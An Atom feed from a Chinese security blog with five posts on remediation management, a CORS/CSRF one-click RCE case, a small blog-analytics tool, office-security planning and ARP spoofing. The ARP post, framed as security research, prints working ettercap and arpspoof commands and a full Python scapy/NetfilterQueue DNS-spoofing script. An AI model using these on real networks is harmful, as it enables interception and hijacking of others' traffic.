<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title>thinkycx.me</title>
  <link href="https://thinkycx.me/atom.xml" rel="self"/>
  <link href="https://thinkycx.me/"/>
  <updated>2026-04-29T00:57:50+08:00</updated>
  <id>https://thinkycx.me/</id>
  <author>
    <name>thinkycx</name>
    
  </author>
  
  <entry>
    <title type="html"><![CDATA[浅谈甲方基础安全建设 —— 如何高效推进风险闭环]]></title>
    <link href="https://thinkycx.me/2026-04-28-security-architect-how-to-close-risks-more-efficiently.html"/>
    <updated>2026-04-28T22:54:26+08:00</updated>
    <id>https://thinkycx.me/2026-04-28-security-architect-how-to-close-risks-more-efficiently.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>甲方企业安全建设的本质上是风险管理，随着业务发展阶段、形态不同，逐渐衍生出各个风险域的风险管理（基础设施、核心数据、内容、业务、mobile等）。风险的变化是动态的，风险管理也不是一成不变的，要求我们结合动态变化的风险、目标、资源等因素综合评估来投入，确保风险『可控』 —— 严重/高危风险动态清零。</p>
<p>风险管理中，最基础/最绕不开的一个话题是：漏洞修复（风险闭环），从实习生、技术骨干、TL、CISO都绕不开。不同的角色在其中承担的职责也不一样。最近scope中牵扯到一部分漏洞修复的问题，非SDL背景，本文就主要围绕，『如何更高效修复漏洞』，谈一谈我的看法，列举几个典型的场景（持续扩充）。</p>
<span id="more"></span><!-- more -->
<p>写作时间：2026年4月28日 23:19:16<br />
写作时长：40min</p>
<h2><a id="%E7%BB%93%E8%AE%BA%EF%BC%88%E7%90%86%E6%83%B3%E7%8A%B6%E6%80%81%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>结论（理想状态）</h2>
<p>安全与业务之间的沟通成本很小，协作效率很高，两个agent都遵循一套标准的交互流程/接口去努力。具体表现在：<br />
1）业务视角（风险消费者）：日常知道有自己/部门（who）、<strong>有多少漏洞（what）</strong>、为什么要修（why）、<strong>应该什么时间修复（when）</strong>、在哪里修（where）、<strong>怎么修复/验证（how）</strong>。<br />
2）安全视角（风险生产者）：<strong>围绕风险自动化发现（what）</strong>、风险等级与SLA制定（why/when）、风险归属责任人与流转机制（who）、<strong>标准修复方案/一键复测能力/加白（how）</strong> 做工。</p>
<p>实践下来，上述过程中，影响漏洞修复效果的关键是：风险说明、标准修复方案、修复时间SLA、超期责任方，加白流程，一键复测验证。遗憾的是：超期责任方、一件复测/验证做的好会比较困难。</p>
<p>因此说，漏洞修复、加固推进是一门艺术也不为过，夹杂着：技术、管理，很考验一个人的综合素质。这也是为什么部分同学干了七八年的风险管理后，毅然决然走向攻击方，逃离保姆角色。但这也是风险管理的挑战所在。</p>
<h2><a id="%E5%AE%9E%E6%93%8D%E6%A1%88%E4%BE%8B" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>实操案例</h2>
<p>理想是丰满的，现实是骨感的。不可否认，在一家业务处于上升期，业务跑在安全前面的公司来说，不阻塞业务发展的前提下，如何更好的确保高风险闭环？抛几个我认为常见2个案例吧。</p>
<p><strong>典型场景1：事件级别/高危漏洞业务不修，没有资源，没有排期。</strong><br />
解决方案：<br />
安全完成同步义务：风险说明、风险严重程度、预期修复方案、验证方法、超期责任方、加白方式。常见话术：如发生因超期不修复导致的后续损失，责任方需业务承担。<br />
难点：1）通用的修复时间SLA的制定 2）风险&amp;责任方需要整体CISO与业务方敲定（如果没有标准落实，一线执行同学推修漏洞时，面临SLA超期周知到TL即可）</p>
<p>场景1案例：背景存于某业务加固隔离场景，提前一周周知业务风险明确了最终下线迁移时间，但业务一再延期。最终通过明确DDL，给业务选择题后解决，本质上是风险转移：1）争取资源按期修复 2）邮件申请加白 明确责任方抄送leader审批。</p>
<p><strong>典型场景2：重点业务场景，重要不紧急漏洞无资源投入。</strong><br />
解决方案：<br />
1）体系化梳理领域目标风险，确认交互接口：领域内的整体风险，风险修复优先级、推荐修复方案、业务需要投入的资源。<br />
2）强化风险危害暴露：严重风险危害阐述清楚，通过实际case/演练来增强业务体感，尤其是资源分配方的体感。（根因：没有人会说这个风险很严重，但我还是不修）<br />
3）建立风险闭环流程机制：定期晾晒风险闭环情况。</p>
<p>场景2案例: 背景存在于重点专项，安全识别到风险很高，但给不出需要业务的做工项。业务老板拍板：各个业务领域，安全给出具体的风险和支持项，排好优先级。对着具体的问题来判断要不要做。本质上：还是把复杂的问题具体化，最小原则先明确具体的目标做起来再说。</p>
<h2><a id="%E6%84%9F%E5%8F%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>感受</h2>
<p>1、视野范围内的严重的风险，需要紧急业务修复的，证明危害后（需要一定成本），绝大部分业务都会配合乖乖修复。如果你无法证明危害，似乎修复的紧急程度也不会很高。这部分的资源不如让业务去发展coding吧。</p>
<p>2、高效的本质，是多个对象可以围绕一套已对齐的接口 自己迭代做工，如果你觉得低效，那么一定你们的交互标准是模糊的。缺少了 问题定义、目标对齐的过程，这个工作应该更前置close掉。</p>
<p>3、在一家头部公司内，基础组件类的漏洞，存在2-3年都不修复 or 都不在视野范围内，且没有对应的加固感知体系，这都是非常不应该的。抛开漏洞修复方案的复杂程度，根因：缺失一个企业整体高风险项的看板，缺少 加固、检测、验证机制晾晒机制。</p>
<p>4、抛开业务/安全的交互流程上的事情，SDL做的好坏的几个评价的能力：1）自动化能力黑白灰能力与覆盖度：漏洞准确召回率，流水线接入效果/增量/存量回扫的时间   2）基础建设完善度：IDE安全插件/标准修复方案/研发安全意识与培训/漏洞管理平台  3）结果上：高危漏洞修复SLA达成率等等</p>
<p>5、如果你觉得做这件事比较痛苦，那一定不是做这件事情的标准方式，一定代表着有新的机会。（比如push业务修复漏洞），应该把这个过程沉淀下来，形成标准的SOP来运转。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[一个 CORS 配置不当 + CSRF的经典利用case]]></title>
    <link href="https://thinkycx.me/2026-04-22-a-classic-case-about-cors-and-csrf.html"/>
    <updated>2026-04-22T21:43:33+08:00</updated>
    <id>https://thinkycx.me/2026-04-22-a-classic-case-about-cors-and-csrf.html</id>
    <content type="html">
      <![CDATA[<h2><a id="0x00%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x00 背景</h2>
<p>前端的 js 投毒/恶意 html/xss 的问题在互联网公司基础安全建设进入中后期时，矛盾会开始逐渐暴凸显，结合钓鱼、白名单下 xss、终端高权限 API 等可以展现出不小的威力，检测/加固较难实现通用化的覆盖能力。非 SDL/WSL 背景，从基础知识谈起，分享一个实际遇到的经典 因CORS 配置不当 + CSRF导致的 1 click rce的例子。</p>
<span id="more"></span><!-- more -->
<h2><a id="0x01%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x01 基础知识</h2>
<p>温习一下基础的常见知识。</p>
<p>同源策略：A 站点请求 B 站点资源，受同源策略（Same-Origin Policy）保护，存在限制（操作 DOM、读取存储 cookie/localstorage/获取网络请求响应）<br />
跨域请求：A 站点请求 跨域的B 站点资源，请求能发出去，但响应内容 浏览器会限制加载（除非服务器允许）。<br />
跨域解决经典方案（CORS）：配置方式服务端设置ACAO响应头：</p>
<pre><code class="language-plain_text">Access-Control-Allow-Origin: https://www.example.com  
Access-Control-Allow-Credentials: true
</code></pre>
<p>重点1：跨域时会携带 cookie 吗？默认不携带。满足4个条件时携带：<br />
1）js 请求显示支持credentials ：fetch(url, { credentials: 'include' })<br />
2）ACAO开启（非泛域名）  + ACAC 配置为 true：本质上是允许哪些网站携带身份请求你的 API。</p>
<pre><code class="language-plain_text">Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.example.com  // 不能是 *
</code></pre>
<p>3）cookie 配置SameSite为 None + Secure（仅允许 https 传输）<br />
4）chrome浏览器配置：默认 允许第三方 cookie。(chrome://settings/cookies)</p>
<p>重点2：没配置 ACAO 头，A还可以发跨域请求给 B么？<br />
可以，走 fetch no-cors模式，无法获取响应内容。用于打点日志上报 / 一次请求可以直接rce 的场景。</p>
<h2><a id="0x02%E4%B8%9A%E5%8A%A1%E5%9C%BA%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x02 业务场景</h2>
<p>业务场景下，B 站点通常会有一堆A站点携带票据来访问，因此ACAO通常的配置方式如下，允许合法 Origin 携带票据请求</p>
<pre><code class="language-plain_text">// Node.js / Express
const whiteList = [
  'https://www.example.com',
  'https://admin.example.com'
];
app.use((req, res, next) =&gt; {
  const origin = req.headers.origin;
  if (whiteList.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);  // 动态回显
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');  // 防止 CDN 缓存串
  }
  next();
});
</code></pre>
<p>Origin 的 whitelist 配置不当/缺失：没有白名单，信任任意 Origin: <domain>都可以请求，返回对应的 Access-Control-Allow-Origin: <domain></p>
<p>2、业务存在敏感功能（较为普遍）：获取身份信息、执行命令等（往往只有 SSO 认证）</p>
<p>3、业务开发速度较快（较为普遍）：整体接口无CSRF 检查（referer check、csrf-token）</p>
<h2><a id="0x03%E6%94%BB%E5%87%BB%E9%9D%A2%E5%88%86%E6%9E%90" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x03 攻击面分析</h2>
<p>攻击面1：2+3缺失：结合一个业务同域名下的恶意的 html，就可以做到CSRF 攻击。<br />
攻击面2： 2+3缺失 + 1缺失：任意域名下即可发起 跨域请求  +CSRF 攻击。</p>
<p>1、业务快速上线时，2和3大概率是没有的，接了sso 认证就很不错了。<br />
2、业务需要对外暴露时，支持动态白名单也是有成本的，干脆省略白名单（尤其是内网应用），直接上线。<br />
3、csrf 的安全 sdk 的接入：refer 本质上也是白名单检查，业务懒得配置；随机 token 如果无框架业务自己实现成本过高。</p>
<h2><a id="0x04%E5%AE%9E%E9%99%85%E6%A1%88%E4%BE%8B%E5%88%86%E4%BA%AB" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x04 实际案例分享</h2>
<p>实际在业务快速上线时，遇到了一个真实业务：存在命令执行的接口、对外暴露了业务自定义生成 html 的能力。上述问题1、2、3都存在，因此上述提到的2个攻击面，实际的利用情况如下，较为隐蔽难以检测。</p>
<ul>
<li>针对上述提到的攻击面1，伪造一个钓鱼链接，windows.locaton.href 跳转到同源下的恶意 html发起 CSRF 攻击。</li>
<li>针对上述提到的攻击面2，在任意站点投放恶意的 js 发起攻击<br />
1 click rce：<br />
<img src="media/17768654136773/17768709659366.jpg" alt="" /></li>
</ul>
<p>ROI 较高的几个修复方案：<br />
1、核心接口单独配置 Origin 白名单，不在白名单则返回403.<br />
2、站点整体 CORS 加固，配置白名单<br />
3、CSRF修复：referer 白名单检查，禁止空 referer。</p>
<h2><a id="0x05%E6%84%9F%E5%8F%97%E4%B8%8E%E6%80%9D%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x05 感受与思考</h2>
<p>为什么公司业务常常只配了认证，不配置 CSRF防护？研发定制成本过高（框架不支持）、通用安全 sdk接入成本（referer 配置）、随机 token 的实现成本（中间层 filter 开发与检查）、大部分接口危害优先不值得被攻击。</p>
<p>自动化能力：黑白盒层面针对 CORS 配置不当、无 CSRF 的检查通常最多作为中危漏洞去修复，修复进度会比较慢。（实际能力待补充）</p>
<p>AI 时代，有问题则代表有机会，相信会有更好的解决方案。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[blog-helper —— 静态博客轻量级助手]]></title>
    <link href="https://thinkycx.me/2026-04-19-blog-helper-for-static-blog.html"/>
    <updated>2026-04-19T02:06:09+08:00</updated>
    <id>https://thinkycx.me/2026-04-19-blog-helper-for-static-blog.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>起因是多年前的一个 todolist在某个闲暇的周末被点亮：给blog 增加一个统计的功能，原则上是：不改变原有静态博客的设计，尽可能通用化，让 mweb/jekll/hexo 等静态博客具备一个轻量级的pv/uv/comments 的管理功能。 AI 时代这个想法很快就实现了，简单介绍一下实现的过程。</p>
<span id="more"></span><!-- more -->
<h2><a id="%E6%A0%B8%E5%BF%83%E7%9A%84%E8%AE%BE%E8%AE%A1%E5%8E%9F%E5%88%99%EF%BC%9A" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>核心的设计原则：</h2>
<p>早期设想最小侵入性的设计是：基于 nginx 日志做后端数据分析，暴露 API前端 js 请求一下即可。<br />
AI 时代，这个 demo 很快就出来了。</p>
<p>主要给了 Claude Code如下的 prompt ，做了部分调整：</p>
<pre><code class="language-plain_text">问题/目标：非侵入性，增加静态博客 pv/uv/评论功能，具备dashboard展示效果。
策略/原则：
1、最小侵入性，兼容各类静态博客（当前只测试了 mweb部分主题，其他主题相信交给 AI 5min 即可接入）。
2、pv/uv统计功能，基于fingerprint 指纹统计 uv，pv 去重/排除爬虫避免数据失真。
3、基于基础数据，简洁的dashboard 功能，让博客活起来。
</code></pre>
<p>实现效果（多轮 review 后）：<br />
<img src="media/17765355698246/dashboard.jpg" alt="dashboard" /></p>
<h2><a id="%E6%84%9F%E5%8F%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>感受</h2>
<p>blog-helper 只是最近众多个人项目中的一个，接着这个机会，重复一下确认了很久的观点。</p>
<p>AI 时代以来，看看谁能拥抱得最快，几个原则：<br />
1、【不做AI 能做的重复推理动作】。君子善假于物：推理这个动作，既然合适的问题场景下/合适的上下文下/合适的工具环境下，AI 实现的效果优于人类，我们的目标则是如何让他能在该环境下，实现稳定的推理，而不是和他比拼推理，毕竟AI是不知疲倦的，比不过。<br />
2、【更有价值的是：发现高价值问题】AI 让很多 idea 的实现成本更低了，让代码变得不值钱了，让之前很多的笔记瞬间失去价值了。不必害怕，拥抱变化，未来比拼的是，发现高价值的问题，给合适的环境让AI解决。<br />
3、【解决问题的客观规律并没有改变】AI 时代，用好 AI 和管理学上有很多异曲同工之处，都属于带人去解决问题。说清楚问题、定义目标与衡量指标、制定策略与执行，review 指标变化。因此，更有价值的或许是探究世界的本质，补充更有价值的上下文，解锁新的体验，让 AI 给予我们更大的助力。</p>
<h2><a id="%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考</h2>
<p>项目地址：<a href="https://github.com/thinkycx/blog-helper">https://github.com/thinkycx/blog-helper</a><br />
投稿过程：<a href="https://github.com/ruanyf/weekly/issues/9677">https://github.com/ruanyf/weekly/issues/9677</a><br />
科技爱好者周刊推荐：<a href="https://www.ruanyifeng.com/blog/2026/04/weekly-issue-394.html">https://www.ruanyifeng.com/blog/2026/04/weekly-issue-394.html</a></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[浅谈甲方基础安全建设 - 办公安全 常见风险与建设思路]]></title>
    <link href="https://thinkycx.me/2025-07-20-security-architect-how-to-build-it-defend-system.html"/>
    <updated>2025-07-20T19:47:16+08:00</updated>
    <id>https://thinkycx.me/2025-07-20-security-architect-how-to-build-it-defend-system.html</id>
    <content type="html">
      <![CDATA[<span id="more"></span><!-- more -->
<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>当今典型的中大型企业（如：10000人以上）在信息化过程中面临的风险，按照风险领域和保护对象大致可分为这几类：</p>
<ul>
<li>IDC上的的业务应用/服务器/基础设施（漏洞/入侵类风险)</li>
<li>员工办公网络中的个人 PC、移动设备、BYOD设备（漏洞/入侵类风险）</li>
<li>上述2类对象（IDC、办公网 ） 核心数据泄露类风险</li>
<li>业务类风险：电商领域账号刷单&amp;爬虫风险、制造业领域 IOT 设备被入侵风险、社交领域内容安全涉政涉黄类风险</li>
<li>APT类风险：核心头部公司针对高管/核心人员的 APT 定向攻击风险</li>
<li>等</li>
</ul>
<p>有幸在工作过程中，参与了甲方安全办公安全评估与建设，算下来一个人接触办公安全领域也已经有1年的时间了，且后续的主要关注领域会逐渐迁移。因此趁此机会，浅谈我对办公安全风险和建设思路的理解，希望对后续给面临同样问题的同学有一些参考，全当抛砖引玉。</p>
<p>写作时间：2025年7月20日 21:10:12<br />
写作时长：2h</p>
<h2><a id="%E5%AE%9A%E4%B9%89%E9%A3%8E%E9%99%A9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>定义风险</h2>
<p>抛开具体风险直接谈安全建设都是耍流氓，就好像你给病人治疗方案，但是说不清楚是患者患了什么病一样。<br />
安全建设的主旋律就是：围绕风险做工，通过类似 IPDRR 的方式给风险做  事前 事中 事后的全方位 管理，因此说安全建设的本质就是一门管理的技术也不为过（漏洞在其中只是非常小的一环但但是也最不应该被忽视的一个环节）。</p>
<p>回到问题，甲方的办公安全主要面临什么风险？要怎么梳理？</p>
<h3><a id="part1%E6%A2%B3%E7%90%86%E5%AF%B9%E8%B1%A1" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>part1 梳理对象</h3>
<p>梳理相关对象。围绕办公相关的对象展开，后续结合对象的整个生命周期刻画其中的风险。</p>
<p>常见的办公网相关的对象包括员工（人、终端PC/mobile/BYOD、账号）、职场物理工区、办公网络基础设施（路由交换、无线设备）、办公核心应用（邮件、AD、vpn、四七层负载、运维类系统等）。</p>
<h3><a id="part2%E6%A2%B3%E7%90%86%E9%A3%8E%E9%99%A9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>part2 梳理风险</h3>
<p>基于上述保护的对象，典型的常见风险如下：</p>
<p>1、物理安全类：<br />
a） 工区不隔离，非公司员工随意出入<br />
b）物理隐私保护不当，核心员工/资产被监视、窃听<br />
c)   废弃资产文档流传处理不当，被二次回收加工利用</p>
<p>2、网络安全类：<br />
a）网络边界存在高危端口被入侵<br />
b）网络设备不符合基线，存在1day 漏洞，账号保护不当被泄露利用<br />
c）网络安全域划分不合理，单个设备沦陷后爆破半径扩大到整个办公网  （包括 vpn）<br />
d）单 VLAN 无二层隔离，设备间相互访问导致蠕虫木马扩散，可被 ARP 欺骗<br />
e）网络认证来源未收敛，可在工区外入网<br />
f） 网络认证方式单一强度弱，存在 mac 加白、账密认证等可被暴力破解与嗅探<br />
g）网络接入使用不规范，存在私搭wifi 等情况可被暴力破解</p>
<p>3、员工终端：<br />
a）终端不符合基线：镜像不更新、无补丁、高风险软件、竞对软件等<br />
b）终端被入侵：钓鱼、木马、恶意插件等<br />
c）终端客户端0day 1day<br />
d）终端账号盗用<br />
e）终端数据外发</p>
<p>4、核心应用<br />
a）IT 基础设施0day，如 exchange、ad 、vpn 、运维类系统等<br />
b）核心应用1day/0day：如知识库、财务、邮件、人力等<br />
c） 基础应用无认证/认证弱，应用票据保护不当</p>
<p>风险一般处于动态产生和解决的过程中，上述风险具备一定的普适性非局限于特定公司，基于 IT 的基础设施形态、网络形态、员工办公习惯等，具体风险会有所差异。</p>
<h2><a id="%E9%98%B2%E5%BE%A1%E6%80%9D%E8%B7%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>防御思路</h2>
<p>场景：如果你是一个人的安全部 或 半路接手了一家公司的安全建设，需要独立负责办公网的建设，应该怎么开展工作？</p>
<p>建设思路：<br />
1、理现状：刻画公司整个风险全景图，安全建设现状，输出主要矛盾与失陷假设后的资产损失。 （1-2个月）<br />
2、盘资源：结合当前的业务体量规模，安全的资源投入预算，指定指定建设计划 （1个月）<br />
3、定目标：与 CXO 同步风险，指定年度规划，具体的、满足 SMART 原则的项目目标、衡量指标。（1个月）<br />
4、跟进展：通过启动会、项目周会、结项会的方式做好过程管理，关注项目核心指标的迭代（1-2年）<br />
5、盘反馈：通过内外兼修的方式，对外关注最新风险，对内抓安全建设，经过1-2年维度的建设迭代，完成一个又一个项目建设与风险收敛，同时定期关注当前整体的风险的水位变化。</p>
<p>策略打法：<br />
1、安全case 驱动：通过单个 case 暴露风险，举一反三发现类似风险，扩充风险全景图。优势：由点到面，从攻击者视角暴露/解决一类风险。<br />
2、项目驱动，结合风险全景图，重点建设1-2个项目，解决主要矛盾，提升全体项目人员、团队、协同方的成就感，便于后续开展工作。<br />
3、结果晾晒，定期输出建设进展与成果，信息分阶段分层次共享，提升安全团队的影响力。</p>
<p>解决方案：<br />
核心还是定义主要问题、主要风险，围绕 IPDRR 展开，结合资源投入实际情况考虑：事前加固评估、扫描、隔离，事中采购/自研研安全产品，事后应急响应复盘迭代等措施，具体不再一一展开。</p>
<h2><a id="%E6%80%BB%E7%BB%93%E4%B8%8E%E6%80%9D%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>总结与思考</h2>
<p>1、办公安全的具体建设跟公司规模、员工办公形态、基础设施建设息息相关，可以说没有一家公司的办公安全建设是完全一致的， 应具体情况具体分析。上述风险和思路仅供参考，也随市场环境处于不断变化的过程当中，员工开发工作流也会逐渐变化，应随着公司实际情况开展调整。</p>
<p>2、安全的本质是风险管理，放在古代，类似一家公司的保镖，底线是不出事，做好保安的职责。但除了守住底线之外，如何做一些有亮眼的工作？如何创造更大的价值？</p>
<p>3、本着完成大于完美的原则输出阶段性的思考，整体方案和建设思路相对还不够成熟，后续按需结合具体问题迭代，也需关注业界实际的落地情况，欢迎同业交流。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[arp 欺骗实践 in 2024]]></title>
    <link href="https://thinkycx.me/2024-12-12-arp-spoofing-in-2024.html"/>
    <updated>2024-12-12T11:36:38+08:00</updated>
    <id>https://thinkycx.me/2024-12-12-arp-spoofing-in-2024.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>基于各种原因，需要在2024年分析一下古老的arp欺骗，这个教科书级的攻击方式在2024年依然可以利用成功。</p>
<p>在此分享arp欺骗利用的原理、利用、检测、防御。</p>
<span id="more"></span><!-- more -->
<h2><a id="0x01%E5%8E%9F%E7%90%86" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x01 原理</h2>
<p><strong>1、arp 是什么？</strong><br />
arp（Address Resolution Protocol）地址解析协议，将 IP 地址 映射到 MAC 地址。</p>
<p><strong>2、arp协议的工作原理是什么？（from chatgpt）</strong></p>
<ul>
<li>当一个设备知道某个 IP 地址时，但不知道对应的 MAC 地址时，它会广播一个 ARP 请求（ARP Request）到网络中，询问 &quot;谁拥有这个 IP 地址？&quot;。</li>
<li>拥有该 IP 地址的设备会回应一个 ARP 响应（ARP Reply），告知其 MAC 地址。</li>
<li>该信息会被缓存到设备的 ARP 缓存中，方便之后直接进行 IP 到 MAC 地址的映射，避免每次都进行广播请求。</li>
</ul>
<p><strong>3、arp 欺骗是什么？</strong></p>
<p>利用利用协议工作原理中的第二阶段，直接发送 ARP Reply 包给目标，缓存 ip-mac 映射到设备本地缓存。</p>
<p>本质是针对 ARP Reply数据包没有认证能力，信任任意的 ARP  Reply包。</p>
<p><strong>4、arp实际危害是什么？</strong></p>
<ul>
<li>拒绝服务：断网、阻断单个 tcp/udp 请求</li>
<li>信息泄露：通信流量获取（包含所有明文流量）</li>
<li>流量劫持：DNS劫持、tcp/udp等 流量劫持。</li>
<li>等（http 流量劫持、https 降级等）</li>
</ul>
<p>本质上是攻击者在网关和受害者充当中间人，拥有了对数据包的控制权（获取、篡改、阻断）。</p>
<h2><a id="0x02%E5%88%A9%E7%94%A8" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x02 利用</h2>
<p>主要介绍不同平台下尝试过的一些利用技术。实际利用效果：</p>
<iframe width="760" height="400" src="https://www.youtube.com/embed/m05NIobxufw?si=7xCzzuxB9mExD9Be" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<p>1）dns 协议劫持，如：weibo.com：<br />
<a href="media/17339745984795/QQ20250115-215905-HD.mp4">QQ20250115-215905-HD</a></p>
<p>2） ip 4层 tcp劫持：<br />
<a href="media/17339745984795/QQ20250115-212257-HD.mp4">QQ20250115-212257-HD</a></p>
<h3><a id="macos%E5%88%A9%E7%94%A8%EF%BC%9A-debookee%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>macOS 利用： debookee 使用方法</h3>
<p><a href="https://debookee.com/">debookee</a>是一个 macOS 平台的付费arp 欺骗软件，当前存在兼容问题导致能用的功能不多，比较鸡肋。实践下来如果需求只是扫描内网、欺骗、获取数据包，那可以将就用一下。（详情看下 github）</p>
<p>使用方法：扫描局域网主机，选择网关、选择受害者，开启欺骗。<br />
<img src="media/17339745984795/17368561422519.jpg" alt="" /><br />
扫描的本质是 发送arp request包探测局域网的主机。</p>
<p>欺骗的本质（点击 attack 后）是每隔1s循环发送2条数据arp reply包， 一个发给网关，一个发给攻击者。数据包包含 1）Sender MAC address，实际上是：攻击者mac 和 2）Sender IP address：伪造的<strong>来源 ip</strong>：<br />
<img src="media/17339745984795/17368583281468.jpg" alt="" /></p>
<p>完整劫持成功的场景下，在受害者机器上执行 curl ip.bi，在攻击者上获取到的4条数据包如下（在受害者机器上只能看到自己 流量1和 流量 4）<br />
<img src="media/17339745984795/17368581632828.jpg" alt="" /></p>
<h3><a id="linux%E5%88%A9%E7%94%A8-01-dns%E5%8A%AB%E6%8C%81%E5%9C%BA%E6%99%AF%EF%BC%9A-ettercap-arp-spoof" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>linux 利用01  - dns 劫持场景：ettercap/ arp_spoof</h3>
<p>方式1： ettercap。ettercap是一个集成好的傻瓜式 arp 欺骗工具，支持 GUI 和命令行。也可以指定 dns劫持。</p>
<pre><code class="language-plain_text"># arp劫持
sudo ettercap -T -i eth0 -M arp:remote /11.39.210.118// /11.39.128.1//


# dns 劫持情况
sudo ettercap -T -i eth0 -M arp:remote /11.39.210.118// /11.39.128.1//  -P dns_spoof
# -P开启dns 劫持
# -i 指定网卡

# dns劫持配置  
cat /usr/local/etc/ettercap/etter.dns |grep ip.bi
ip.bi A 1.1.1.1
</code></pre>
<p><img src="media/17339745984795/17343554178984.jpg" alt="" /></p>
<p><img src="media/17339745984795/Xnip2024-12-17_15-22-29.jpg" alt="Xnip2024-12-17_15-22-29" /></p>
<p>方式2：  arp_spoof 可以做到双向欺骗。netfilterqueue：本质上是用 iptables 将 dns 数据转发到用户态处理，修改 dns 相应的结果。</p>
<pre><code class="language-plain_text">sudo arpspoof -i wlan0 -t &lt;victimip&gt; -r &lt;routerip&gt; 
</code></pre>
<p>dns 劫持代码：</p>
<pre><code class="language-plain_text">from scapy.all import *
from netfilterqueue import NetfilterQueue

import os


# DNS mapping records, feel free to add/modify this dictionary
# for example, google.com will be redirected to 192.168.1.100
dns_hosts = {
    b&quot;ip.bi.&quot;: &quot;1.1.1.1&quot;,
    b&quot;www.baidu.com.&quot;: &quot;1.1.1.1&quot;,
    b&quot;weibo.com.&quot;: &quot;1.1.1.1&quot;
}



def process_packet(packet):
    &quot;&quot;&quot;
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    &quot;&quot;&quot;
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print(&quot;[Before]:&quot;, scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
            pass
        print(&quot;[After ]:&quot;, scapy_packet.summary())
        # set back as netfilter queue packet
        packet.set_payload(bytes(scapy_packet))
        # Drop the original DNS response
        # packet.drop()  # This will prevent the original DNS packet from being sent
        # accept the modified packet
        packet.accept()
    else:
        packet.accept()




def modify_packet(packet):
    &quot;&quot;&quot;
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a google.com answer, this function replaces
    the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
    &quot;&quot;&quot;
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print(&quot;no modification:&quot;, qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, google.com will be mapped to &quot;192.168.1.100&quot;
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # packet[DNS].ancount = 1
    packet[DNS].an.ttl = 0  # 设置 TTL 为 0
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet


QUEUE_NUM = 0
# insert the iptables FORWARD rule
os.system(&quot;iptables -I FORWARD -j NFQUEUE --queue-num {}&quot;.format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()


try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system(&quot;iptables --flush&quot;)
</code></pre>
<p>TIPS1：</p>
<ul>
